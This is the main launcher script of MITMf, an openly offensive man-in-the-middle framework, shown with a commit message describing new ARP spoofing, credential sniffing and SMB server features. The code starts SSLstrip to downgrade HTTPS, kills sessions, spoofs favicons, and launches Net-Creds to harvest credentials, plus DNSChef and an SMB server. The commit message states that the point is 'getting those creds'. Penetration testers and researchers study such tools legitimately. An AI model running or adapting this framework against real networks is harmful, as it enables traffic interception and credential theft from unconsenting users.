MITMf/mitmf.py
byt3bl33d3r 9712eed4a3 This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
2015-04-27 18:33:55 +02:00

181 lines
6.6 KiB
Python
Executable file

#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import argparse
import sys
import os
import logging
import threading
import user_agents
from twisted.web import http
from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig
from plugins import *
Banners().printBanner()
if os.geteuid() != 0:
sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?")
mitmf_version = "0.9.7"
sslstrip_version = "0.9"
sergio_version = "0.2.1"
dnschef_version = "0.4"
netcreds_version = "1.0"
parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use")
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
#Initialize plugins
plugin_classes = plugin.Plugin.__subclasses__()
plugins = []
try:
for p in plugin_classes:
plugins.append(p())
except Exception, e:
print "[-] Failed to load plugin class {}: {}".format(p, e)
#Give subgroup to each plugin with options
try:
for p in plugins:
if p.desc == "":
sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name))
else:
sgroup = parser.add_argument_group(p.name, p.desc)
sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name))
if p.has_opts:
p.add_options(sgroup)
except NotImplementedError:
sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name))
if len(sys.argv) is 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
#first check to see if we supplied a valid interface
myip = SystemConfig.getIP(args.interface)
mymac = SystemConfig.getMAC(args.interface)
#Start logging
log_level = logging.__dict__[args.log_level.upper()]
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
mitmf_logger = logging.getLogger('mitmf')
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(logFormatter)
mitmf_logger.addHandler(fileHandler)
#####################################################################################################
#All our options should be loaded now, initialize the plugins
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
load = []
for p in plugins:
#load only the plugins that have been called at the command line
if vars(args)[p.optname] is True:
print "|_ {} v{}".format(p.name, p.version)
if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
print "| |_ {}".format(line)
p.tree_output.remove(line)
p.initialize(args)
if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
print "| |_ {}".format(line)
load.append(p)
#Plugins are ready to go, let's rock & roll
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
for p in load:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
t = threading.Thread(name='{}-thread'.format(p.name), target=p.startThread, args=(args,))
t.setDaemon(True)
t.start()
print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(netcreds_version)
#Start all servers!
from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start()
print "|_ DNSChef v{} online\n".format(dnschef_version)
from core.protocols.smb.SMBserver import SMBserver
SMBserver().start()
#start the reactor
reactor.run()
#run each plugins finish() on exit
for p in load:
p.finish()